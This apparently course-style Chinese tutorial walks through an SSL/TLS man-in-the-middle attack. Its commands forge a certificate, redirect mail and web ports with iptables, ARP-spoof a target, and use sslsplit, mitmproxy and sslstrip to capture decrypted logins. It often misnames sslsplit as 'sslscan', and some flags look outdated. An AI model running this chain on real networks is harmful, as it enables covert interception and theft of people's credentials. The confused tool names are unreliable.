任务104:SSL、TLS中间人攻击

下面是攻击原理
在这里插入图片描述

开 始 实 验

下面开始演示

1.先利用openssl先生成伪造证书

  1. 生成证书 需要两步

先利用openssl生成一个证书的私钥

1
openssl genrsa -out ca.key 2048   		

后面2048位是长度还有4096位
在这里插入图片描述
生成出来的文件
在这里插入图片描述

1.2. 在用上面私钥生成证书

1
openssl req -new -x509 -days 200 -key ca.key -out ca.crt	

-x509是证书格式 200是天这个证书有效时间 ca.key是要用到的私钥这个密钥就是上面生成出来的 ca.crt生成的证书
需要叫你填写
在这里插入图片描述

2.启动路由功能

  1. 启动后他会将客户端发来的数据包的地址进行转发,可以当作一个路由器使用不然ARP欺骗后客户端就不能利用我的电脑访问服务器了
    1
    sysctl -w net.ipv4.ip_forward=1

上面意思是叫这个net.ipv4.ip_forward参数设置成1

3. 用Iptables端口转发规则和sslscan工具进行中间人攻击

为什么要端口转发那?,就是叫80和443端口还有好多加密的端口收到的包,全部都转发到另外一个端口上,这个端口就是伪造证书解密类型的工具上

3.1.空表和查看表有没有配置好的表

1
iptables -t nat -L 

-t是指定表 -L是查看 意思就是nat 表有没有端口转发规则
在这里插入图片描述
3.2.清空表

1
iptables -t nat -F

-t是指定表 -F 是清空表意思就是清空nat表

3.3. 端口转发规则配置

1
2
3
4
5
6
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080		#这个是http
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #这个是https
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #这个是MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #这个是SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #这个是IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #这个是POP3S

上面意思是
-t 是使用的那个表
-A PREROUTING 是路由之前就生效的
-t tcl –dport 80 -j REDIRECT –to-ports 8080 就是客户端发给我的是tcl协议去往80端口都会重定向给8080
里面为什么有8443应为sslscan工具可以进行多个端口 ,还有可以解密多个协议MSA,SMTP,SIMAPS,POP3S

可以查看一下用上面的命令iptables -t nat -L
在这里插入图片描述
3.4. ARP欺骗
应为需要叫目标请求发送给我

1
arpspoof -i eth0 -t 目标的ip -r 网关

3.5. 使用sslscan进行SSL中间人攻击
先创建一个文件夹
mkdir -p test/logdir
启动sslscan

1
sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

上面命令的意思
-D 就是查看详细信息
**-l connect.log** 连接信息都会记录到connect.log文件里
**-j /root/test** 跟目录
**-s /root/test/logdir/** 请求都在这个logdir/目录里面
**-k ca.key** 指定私钥ca.key文件(上面生成出来的)
**-c ca.crt** 指定证书ca.crt 文件(上面生成出来的)
ssl 0.0.0.0 8443 加密的请求在8443端口侦听
tcp 0.0.0.0 8080 不加密的请求在8080端口监听
运行上面命令就启动了在这里插入图片描述
被攻击的电脑访问网络就会出现这个情况
在目标访问https的网站就会出现证书错误这个还是有可能是中间攻击的特征
在这里插入图片描述
被攻击端电脑可以看见证书不一样
在这里插入图片描述
在浏览器登录账号密码

在这里插入图片描述
目标所有的请求和访问在保存在 /root/test/logdir/ 里
在这里插入图片描述
看一下文件内容可以看见请求内容已经被解密了
应为网站安全有的密码被也被加密组件进行加密了还是看不到密码

在这里插入图片描述

其他工具实现SSL中间人攻击

  1. Mitmproxy工具使用
    和sslscan工具是以类的工具
    他支持8080侦听
    使用Iptables端口转发规则只能转发到8080上了
    查看有没有配置好的命令iptables -t nat -L
    清除配置的iptables -t nat -F这两个上面已说了
1
2
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080		#这个是http
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080 #这个是https
  1. 启动Mitmproxy

mitmproxy -T –host -w mitmproxy.log

  1. sslstrip工具使用进行SSL中间人攻击
    我们访问https网站的时候就算你不加上https的话服务器也会给你强制加上httos
    在这里插入图片描述

黑客在发送给服务器sslstrip工具就给他还换成https的请求了

还是要指定端口

应为这个工具也是只能监听一个端口
查看清除配置就不说了上面有

1
2
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080		#这个是http
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080 #这个是https

启动sslstrip工具

1
sslstrip -l 8080

-l 是指定监听的端口
在这里插入图片描述

目标电脑访问https网站的就会变成了http的了
在这里插入图片描述
目标电脑登陆账号密码

在这里插入图片描述
然后黑客我就可以进行查看你请求的信息和账号密码了
网站比较安全的还要用组件进行密码的加密有的密码可能还是被加密了这个是属于正常情况
在这里插入图片描述